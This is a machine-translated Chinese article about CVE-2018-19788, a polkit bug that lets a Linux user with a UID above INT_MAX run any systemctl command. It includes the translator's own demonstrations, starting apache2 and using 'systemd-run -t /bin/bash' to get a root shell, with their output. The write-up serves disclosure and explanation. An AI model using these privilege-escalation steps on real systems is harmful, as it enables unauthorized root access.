UID> INT_MAX的非特权Linux用户可以执行任何命令

坐下,我有消息让你震惊...

Linux操作系统具有一个难以掩饰的漏洞,如果其UID大于2147483647,则允许低特权用户被授权执行任何systemctl命令(甚至成为root-近似翻译器)。

图片

描述为CVE-2018-19788的漏洞位于PolicyKit库(也称为polkit )0.115版中,该版本预安装在大多数流行的Linux发行版中,包括Red Hat,Debian,Ubuntu和CentOS。 Polkit是类UNIX系统上的工具,用于定义策略并为特权进程提供特权访问。 与sudo不同,它不给用户进程管理员特权,但是允许您精确地控制允许和禁止的内容。

该漏洞是由于在检查PolicyKit请求中对UID大于INT_MAX的任何用户的权限时出错。 其中INT_MAX是一个常数,用于存储整数类型的整数变量的最大值,即2147483647(十六进制0x7FFFFFFF)。

因此,如果我们创建的帐户的UID超过INT_MAX,则PolicyKit组件将成功执行任何systemctl命令。

Twitter安全研究员Rich Mirch(以“ 0xm1rch ”作为自我介绍)发布了概念验证 (PoC)漏洞,以成功演示该漏洞,该漏洞要求UID为40亿的用户。

红帽建议系统管理员在发行补丁之前,不允许任何负UID或大于2147483646的UID缓解问题。

译者的几种操作方法


第一种方法只是通过systemctl。 我创建了一个具有大UID的用户,然后尝试运行apache2:

1)首先检查他在撒谎

$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: inactive (dead) 

2)尝试启动,但出现错误

 $ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) 

3),但请确保它仍然开始

 $ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service ├─2829 /usr/sbin/apache2 -k start ├─2830 /usr/sbin/apache2 -k start └─2831 /usr/sbin/apache2 -k start 

第二种方法是通过systemd运行bash。 我运行以下命令,在fs的根目录中创建了一个文本文档,在其中添加了一行,并检查了结果

 $ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello 

在我的Ubuntu上进行实验时,我还发现了这样一种模式:如果在具有这样UID的用户下转到帐户设置,则所有设置都将被解锁,这使您可以编辑/删除任何用户。

问题仍然是,现在如何在受害主机上“引起”具有这种UID的用户的出现,这个错误真的构成威胁吗?

Source: https://habr.com/ru/post/zh-CN432610/


All Articles